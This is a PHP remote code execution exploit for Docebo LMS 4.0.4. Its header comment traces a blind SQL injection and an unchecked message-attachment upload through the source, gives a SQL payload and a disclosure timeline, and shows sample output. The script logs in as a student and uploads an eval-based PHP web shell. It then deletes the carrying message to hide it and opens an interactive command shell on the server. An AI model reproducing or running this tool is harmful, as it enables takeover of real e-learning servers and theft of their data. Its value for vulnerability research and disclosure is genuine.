1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 |
<?php /* Docebo LMS <= v4.0.4 (messages) remote code execution exploit vendor_________: http://www.docebo.com/ software link__: http://www.docebo.com/community/doceboCms/ author_________: mr_me::rwx kru email__________: steventhomasseeley!gmail!com "We must become the change we want to see in the world." -Gandhi ------------------------------------------------------------- description: DoceboLMS is a SCORM compliant Open Source Cloud E-Learning platform used in corporate, government and education markets. The Platform supports 25 languages and can be used with different didactic models (Blended, Self-Directed, Collaborative and even Social Learning). The application allows a superadministrator to inject and execute arbitray SQL into the backend database via an insert statment. Working, but its pointless. Additionally, the application allows a low privlidged attacker (student or higher) to upload/inject php code by creating a message attachment and sending it to a nonexistent user. After this, an attacker can simply view the "sent" message only to then find their web shell conviently renamed. ---------------------------------------------------------------------------------- SQL Injection: ============== We start our code journey in lines 47-49 of ./doceboCore/index.php where we create the module. Then, lines 83-86 sets up the call to loadBody(): --> if($GLOBALS['modname'] != '') { $module_cfg =& createModule($GLOBALS['modname']); } ............ } elseif($GLOBALS['modname'] != '') { $module_cfg->loadBody(); } <-- within ./lib/lib.istance.php, the createModule() function is defined and includes code for us to perform the loadBody() function on lines 60-64. --> function &createModule($module_name, $class_name = NULL) { .................. if(file_exists($where.'/class.module/class.'.$module_name.'.php')) { require_once($where.'/class.module/class.'.$module_name.'.php'); if( $class_name === NULL ) $class_name = $def_class_name.'_'.ucfirst($module_name); } .................. return $module_cfg; } <-- lines 56 of ./class.module/class.iotask.php is where the loadBody function is delcared. Later on lines 112 the function checks for the 'addconnection' is set in the GET request and calls ioTask_UIConnectionNew() on the current object. --> function loadBody() { ....................... } elseif( isset($_GET['addconnection']) && !isset($_POST['cancel']) ) { ioTask_UIConnectionNew($this, '', '' ); <-- lines 244 of ./doceboCore/modules/iotask/iotask.php defines the function ioTask_UIConnectionNew() on lines 255-264 we pass input from the GET/POST parameters to a function called parse_input() which simply sets the current configuration with our specfied 'coursereportuiconfig[name]' and 'coursereportuiconfig[description]' variables on the DoceboConnectorCourseExport instance. Again, on lines 266-269 the code checks to see if the variable $action is set to 'finish' and if so it calls the save_connection() function with our injected DoceboConnectorCourseExport instance. --> function ioTask_UIConnectionNew( &$module, $action, $subop ) { ........... if( $subop == 'edit_connection' ) { $connection = $connMgr->create_connection_byname(key($action)); } else { $connection = $connMgr->create_connector_bytype($_POST['type_connection']); } $connectionUI = $connection->get_configUI(); print_r($connectionUI); $connectionUI->set_lang($lang); $connectionUI->set_form($form); $connectionUI->parse_input($_GET, $_POST); if( is_array($action) ) { if( key($action) == 'finish' ) { $connectionUI->go_finish(); if( $connMgr->save_connection( $connectionUI->get_old_name(), $connection ) ) <-- finally, lines 163-180 of ./doceboCore/lib/lib.iotask.php the save_connection function contains the actual sql query: --> function save_connection( $old_name, $connection ) { $name = $connection->get_name(); $description = $connection->get_description(); $type = $connection->get_type_name(); $params = $connection->get_config(); $str_params = urlencode(serialize($params)); $lang =& $this->get_lang(); if( strlen(trim($name)) == 0 ) { $this->last_error = $lang->def('_OPERATION_FAILURE'); return FALSE; } if( $old_name === '' ) { $query = "INSERT INTO ".$GLOBALS['prefix_fw']."_connection" ."(name,description,type,params)" ." VALUES " ."('$name','$description','$type','$str_params')"; <-- Both the 'coursereportuiconfig[name]' and 'coursereportuiconfig[description]' variables are vulnerable to attack, but of course you need at least read access (ie teacher or admin): An attacker can use blind sql injection to exploit this vulnerability very easily. However, they will need a valid 'authentic_request' and 'docebo_session' variables set in the request. The interesting thing is, the 'name' field in the db table is actually the primary key. So if you make multiple requests with the same 'name', the SQL Injection will execute but the integrity constraint will trigger and thus, not insert a record. sweet. Example SQL injection: suntzu','course-export-connector',(CASE WHEN substr((SELECT version()),1,1)='5' THEN benchmark(5000000,md5(1)) ELSE 0 END))--+ PoC Request: POST /webapps/dc/doceboCore/index.php?modname=iotask&op=display&addconnection&gotab=connections HTTP/1.1 Host: 192.168.220.128 Cookie: docebo_session=pbkipn2uvsf4cjive88aadlnf1 Content-Type: application/x-www-form-urlencoded Content-Length: 659 authentic_request=debe0efcb991e3e3506fe10b99dc90d2&type_connection=course-export-connector&coursereportuiconfig%5Bname%5D=q&coursereportuiconfig%5Bdescription%5D=suntzu','course-export-connector',(CASE WHEN substr((SELECT version()),1,1)='4' THEN benchmark(5000000,md5(1)) ELSE 0 END))--+&coursereportuiconfig%5Bfirst_row_header%5D=1&coursereportuiconfig%5Bmemory%5D=a%253A5%253A%257Bs%253A4%253A%2522name%2522%253Bs%253A14%253A%2522New%2Bconnection%2522%253Bs%253A11%253A%2522description%2522%253Bs%253A0%253A%2522%2522%253Bs%253A16%253A%2522first_row_header%2522%253Bs%253A1%253A%25221%2522%253Bs%253A4%253A%2522step%2522%253Bs%253A1%253A%25220%2522%253Bs%253A8%253A%2522old_name%2522%253Bs%253A0%253A%2522%2522%253B%257D&action%5Bnew_connection%5D%5Bfinish%5D=Finish Many other SQL Injections can be found and exploited easily in the forum and wiki (with low priv)... but yeah, whatever. Arbitray file upload: ===================== line 35 of ./doceboLMS/index.php sets the GLOBAL array index 'modname' to our supplied value: --> $GLOBALS['modname'] = Get::req('modname', DOTY_ALPHANUM, ''); <-- then, lines 62-65 of ./doceboLMS/index.php triggers the createModule() function: --> if(!empty($GLOBALS['modname'])) { $module_cfg =& createModule($GLOBALS['modname']); if(method_exists($module_cfg, 'beforeLoad')) $module_cfg->beforeLoad(); } <-- lines 27-40 of ./doceboLms/lib/lib.istance.php createModule function contains a couple of includes..: --> function createModule($module_name, $class_name = NULL) { $module_name = preg_replace('/[^a-zA-Z0-9\-\_]+/', '', $module_name); if(file_exists(dirname(__FILE__).'/../class.module/class.'.$module_name.'.php')) { include_once(dirname(__FILE__).'/../class.module/class.'.$module_name.'.php'); if( $class_name === NULL ) $class_name = 'Module_'.ucfirst($module_name); } else { include_once(dirname(__FILE__).'/../class.module/class.definition.php'); $class_name = 'LmsModule'; } $module_cfg = new $class_name(); return $module_cfg; } <-- After the module is created, lines 110-113 of ./doceboLMS/index.php loads the module body: --> // load module body if(!empty($GLOBALS['modname'])) { $module_cfg->loadBody(); } <-- lines 11-16 of ./doceboLMS/class.module/class.message.php triggers the messageDispatch() function using the 'op' parameter: --> class Module_Message extends LmsModule { function loadBody() { require_once($GLOBALS['where_lms'].'/modules/message/message.php'); messageDispatch($GLOBALS['op']); } <-- lines 1114-1131 of ./doceboCore/lib/lib.message.php so that if the 'op' variable is set to 'writemessage' teh the code will trigger a call to writemessage() on the object: function messageDispatch($op, $mvc = false) { if(isset($_POST['undo'])) $op = 'message'; if(isset($_POST['okselector'])) $op = 'writemessage'; if(isset($_POST['cancelselector'])) $op = 'message'; if(isset($_POST['back_recipients'])) $op = 'addmessage'; $module = new MessageModule($mvc); switch($op) { case "message" : { $module->message(); };break; case "addmessage" : { $module->addmessage(); };break; case "writemessage" : { $module->writemessage(); <-- within function writemessage() on lines 635 - 644 of ./doceboCore/lib/lib.message.php we can see a call to saveMessageAttach() if the $_FILES array is populated from the file upload: --> if(isset($_POST['send'])) { if($_POST['message']['subject'] == '') { $output .= getErrorUi(Lang::t('_MUST_INS_SUBJECT')); } else { // send message $attach = ''; if($_FILES['message']['tmp_name']['attach'] != '') { $attach = $this->saveMessageAttach($_FILES['message']); } <-- lines 32-49 of ./doceboCore/lib/lib.message.php we can see how the filename is created: using the current users id, using mt_rand(), time() finally followed by the filename itself. --> function saveMessageAttach($attach) { require_once(_base_.'/lib/lib.upload.php'); $path = _PATH_MESSAGE; $file = ''; sl_open_fileoperations(); if(isset($attach['tmp_name']['attach']) && $attach['tmp_name']['attach'] != '') { $file = getLogUserId().'_'.mt_rand(0, 100).'_'.time().'_'.$attach['name']['attach']; if(!sl_upload($attach['tmp_name']['attach'], $path.$file)) { $error = 1; $file = ''; } } sl_close_fileoperations(); if(!$error) return $file; return false; } <-- lines 68-78 of ./lib/lib.upload.php checks the configuration for the upload type (default is filesystem) --> function sl_upload( $srcFile, $dstFile ) { $uploadType = Get::cfg('uploadType'); $dstFile =stripslashes($dstFile); if( $uploadType == "ftp" ) { return sl_upload_ftp( $srcFile, $dstFile ); } elseif( $uploadType == "cgi" ) { return sl_upload_cgi( $srcFile, $dstFile ); } else { return sl_upload_fs( $srcFile, $dstFile ); } } <-- lines 136 - 140 of ./lib/lib.upload.php actually performs the move_uploaded_file() function --> function sl_upload_fs( $srcFile, $dstFile ) { $re = move_uploaded_file($srcFile, $GLOBALS['where_files_relative'].$dstFile); if(!$re) die("Error on move_uploaded_file from: $srcFile to $dstFile"); return $re; } <-- All done without any validation on the file whatsoever. It should also be pointed out that many other file uploads exist in the application that can also be abused. I just point out one example of each bug so the developers can hopefully spot and fix all of them. ---------------------------------------------------------------------------------- Timeline: - 01/12 discovered the bugs - 02/12 wrote the exploit - 04/12 reported bugs to the vendor http://bit.ly/rCGCsY - 05/12 Vendor confirms they got the bugs and are working on a fix - 05/12 acknowledgment http://bit.ly/u7qoD5 - 07/12 request a status update / timeframe http://bit.ly/w4ndcE - 08/12 no response, reminder http://bit.ly/rPdNCd - 09/12 no response? No remorse. - 10/12 public disclosure ----------------------------------- mr_me@gliese:~/pentest/web/0day/docebo$ php poc.php -t 192.168.220.128 -d /webapps/docebo/ -p 127.0.0.1:8080 ---------------------------------------------------------- Docebo LMS v4.0.4 (messages) remote code execution exploit by mr_me of rwx kru - net-ninja.net / rwx.biz.nf ---------------------------------------------------------- (+) Setting the proxy to 127.0.0.1:8080 (+) Grabbing session: docebo_session=lknh500ldp9avllmq5af5q3v96 (+) Grabbing login token: e5c8bb27d018ef97503b9c3c9eb8a53e (+) Logged into the application.. (+) Grabbing Logged in session: docebo_session=5up5becmbsv7mdaun6i9mp5i63 (+) Grabbing upload token: e5c8bb27d018ef97503b9c3c9eb8a53e (+) Creating malicious php message.. (+) Finding message id.. (+) Found message id: 18 (+) Finding web shell.. (+) Found web shell: 11837_90_1322716955_suntzu.php (+) Deleting backdoored message.. (+) Sucessfully deleted the message (+) Dropping to shell interaction.. mr_me@192.168.220.128# id uid=33(www-data) gid=33(www-data) groups=33(www-data) mr_me@192.168.220.128# uname -a Linux steve-web-server 2.6.35-31-generic #62-Ubuntu SMP Tue Nov 8 14:00:30 UTC 2011 i686 GNU/Linux mr_me@192.168.220.128#q */ print_r(" ---------------------------------------------------------- Docebo LMS v4.0.4 (messages) remote code execution exploit by mr_me of rwx kru - net-ninja.net / rwx.biz.nf ---------------------------------------------------------- "); if ($argc < 3) { print_r(" ----------------------------------------------------------------------------- Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS host:target server (ip/hostname) path:directory path to wordpress Options: -p[ip:port]: specify a proxy Example: php ".$argv[0]." -t 192.168.1.5 -d /docebo/ -p 127.0.0.1:8080 php ".$argv[0]." -t 192.168.1.5 -d /docebo/ ----------------------------------------------------------------------------- "); die; } /* +-----------------+ student credentials +-----------------+ */ $user = "suntzu"; $pswd = "suntzu"; /* ----EOF--- */ error_reporting(7); ini_set("max_execution_time", 0); ini_set("default_socket_timeout", 5); $proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)"; function setArgs($argv){ $_ARG = array(); foreach ($argv as $arg){ if (ereg("--([^=]+)=(.*)", $arg, $reg)){ $_ARG[$reg[1]] = $reg[2]; }elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){ $_ARG[$reg[1]] = "true"; }else { $_ARG["input"][] = $arg; } } return $_ARG; } $myArgs = setArgs($argv); $host = $myArgs["input"]["1"]; $path = $myArgs["input"]["2"]; if (strpos($host, ":") == true){ $hostAndPort = explode(":",$myArgs["input"][1]); $host = $hostAndPort[0]; $port = (int)$hostAndPort[1]; }else{ $port = 80; } if(strcmp($myArgs["p"],"true") === 0){ $proxyAndPort = explode(":",$myArgs["input"][3]); $proxy = $proxyAndPort[0]; $pport = $proxyAndPort[1]; echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n"; }else{ echo "(-) Warning, a proxy was not set\r\n"; } // rgods sendpacketii() function function sendpacket($packet){ global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex; if (strcmp($myArgs["p"],"true") != 0) { $ock = fsockopen(gethostbyname($host),$port); if (!$ock) { echo "(-) No response from ".$host.":".$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo "(-) Not a valid proxy...\n"; die; } $ock=fsockopen($proxy,$pport); if (!$ock) { echo "(-) No response from proxy..."; die; } } fputs($ock,$packet); if ($proxy == "") { $html = ""; while (!feof($ock)) { $html .= fgets($ock); } }else { $html = ""; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) { $html .= fread($ock,1); } } fclose($ock); } if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;} function get_session($html){ if (!preg_match("/Set-Cookie: ([^;]*);/", $html, $session)){ die("\n[-] docebo_session not set!\n"); } return $session[1]; } function get_token($html){ if (!preg_match("/authentic_request\" value=\"([^\"]*)/", $html, $token)){ die("\n[-] authentic_request token not found!\n"); } return $token[1]; } function validate_login($html){ if (!preg_match("/Location: ([^\r\n]*)\r\n/", $html, $redirect)){ return 0; } $access_chk = explode("?",$redirect[1]); if (strcmp($access_chk[1],"access_fail=1") === 0){ return 0; } return 1; } // get the 'authentic_request' token & the sessionID $packet= "GET ".$p."index.php HTTP/1.1\r\n"; $packet .= "host: ".$host."\r\n\r\n"; sendpacket($packet); $session = get_session($html); $token = get_token($html); echo "(+) Grabbing session: ".$session."\n"; echo "(+) Grabbing login token: ".$token."\n"; // login $data = "authentic_request=".$token."&login_userid=".$user."&login_pwd=".$pswd."&log_button=Login"; $login_pkt= "POST ".$p."doceboLms/index.php?modname=login&op=confirm HTTP/1.1\r\n"; $login_pkt .= "Host: ".$host."\r\n"; $login_pkt .= "Cookie: ".$session."\r\n"; $login_pkt .= "Content-Type: application/x-www-form-urlencoded\r\n"; $login_pkt .= "Content-Length: ".strlen($data)."\r\n\r\n".$data; sendpacket($login_pkt); if (validate_login($html)){ echo "(+) Logged into the application..\n"; }else{ die("(-) Login failed!\n"); } $session = get_session($html); echo "(+) Grabbing Logged in session: ".$session."\n"; // now for the upload $packet= "GET ".$p."doceboLms/index.php?modname=message&op=addmessage&from=out HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Cookie: ".$session."\r\n\r\n"; sendpacket($packet); $token = get_token($html); echo "(+) Grabbing upload token: ".$token."\n"; $php_code = "<?php error_reporting(0); eval(base64_decode(\$_SERVER[HTTP_HAX])) ?>"; $payload= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"authentic_request\"\r\n\r\n"; $payload .= $token."\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"out\"\r\n\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"msg_course_filter\"\r\n\r\n"; $payload .= "0\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"message[recipients]\"\r\n\r\n"; // send to a nonexistant userid $payload .= urlencode("a:1:{i:0;s:5:\"0\";}")."\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"message[subject]\"\r\n\r\n"; $payload .= "suntzu\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"message[priority]\"\r\n\r\n"; $payload .= "1\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"message_textof\"\r\n\r\n"; $payload .= "suntzu\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"message[attach]\"; filename=\"suntzu.php\"\r\n\r\n"; $payload .= $php_code."\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"send\"\r\n\r\n"; $payload .= "Send\r\n"; $payload .= "--o0oOo0o\r\n"; $killpkt = "POST ".$p."doceboLms/index.php?modname=message&op=writemessage HTTP/1.1\r\n"; $killpkt .= "Host: ".$host."\r\n"; $killpkt .= "Cookie: ".$session."\r\n"; $killpkt .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $killpkt .= "Content-Length: ".strlen($payload)."\r\n"; $killpkt .= "Connection: close\r\n\r\n".$payload; echo "(+) Creating malicious php message..\n"; sendpacket($killpkt); // now to find the shell echo "(+) Finding message id..\n"; $packet= "GET ".$p."doceboLms/index.php?modname=message&op=message&sop=unregistercourse HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Cookie: ".$session."\r\n\r\n"; sendpacket($packet); if (!preg_match("/id_message=([^\"]*)/", $html, $message)){ die("\n[-] Unable to find sent message id!\n"); }else{ echo "(+) Found message id: ".$message[1]."\n"; } echo "(+) Finding web shell..\n"; $packet= "GET ".$p."doceboLms/index.php?modname=message&op=readmessage&id_message=".$message[1]." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Cookie: ".$session."\r\n\r\n"; sendpacket($packet); if (!preg_match("/alt=\"mime\" \/\>([^<]*)/", $html, $shell)){ die("\n[-] Unable to find web shell :/\n"); }else{ echo "(+) Found web shell: ".$shell[1]."\n"; } $phpshell = $shell[1]; echo "(+) Deleting backdoored message.. \n"; $deletemessage= "doceboLms/index.php?modname=message&op=delmessage&id_message=".$message[1]; $deletemessage .= "&out=out&confirm=1"; $packet= "GET ".$p.$deletemessage." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Cookie: ".$session."\r\n\r\n"; sendpacket($packet); if (preg_match("/Location: ([^\r\n]*)\r\n/", $html, $delete_test)){ if (preg_match("/result=([^\r\n]*)/", $delete_test[1],$ok_del)){ if (strcmp("$ok_del[1]","ok_del") === 0){ echo "(+) Sucessfully deleted the message\n"; } } }else{ echo("\n(-) Warning: unable to deleted the message :/\n"); } echo "(+) Dropping to shell interaction..\n"; // change the php function if your target doesnt support it $php_functions = array("passthru", "system"); $php_func = array_rand($php_functions, 2); $php_func = $php_functions[$php_func[0]]; while ($cmd != "q"){ echo "\n".get_current_user()."@".$host."# "; $cmd = trim(fgets(STDIN)); $c = base64_encode($php_func."("."\"".$cmd."\"".");"); $packet= "POST ".$p."files/doceboLms/message/".$phpshell." HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Hax: ".$c."\r\n\r\n"; if ($cmd != "q"){ sendpacket($packet); $html = explode("html",$html); echo (trim($html[1])); } } ?> |